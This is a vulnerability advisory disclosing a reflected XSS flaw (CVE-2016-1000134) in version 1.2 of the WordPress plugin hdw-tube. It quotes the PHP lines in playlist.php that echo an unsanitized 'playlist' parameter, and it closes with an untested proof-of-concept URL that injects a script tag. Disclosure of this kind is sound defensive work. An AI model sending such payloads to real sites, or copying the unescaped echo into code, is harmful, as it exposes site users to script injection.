Advisory #: 530
Title: Reflected XSS in wordpress plugin hdw-tube v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site:
Downloads: 3409
Vendor Notified: 2016-02-09
Export: Json
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Plugin Name: hdw-tube
There is a reflected XSS vulnerability in the following php code ./hdw-tube/playlist.php: 385: $,{likedplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { 391: $,{dislikedplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { 398: $,{deletemyplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { The variable playlist appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000134
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/hdw-tube/playlist.php?playlist="><script>alert(1);</script><"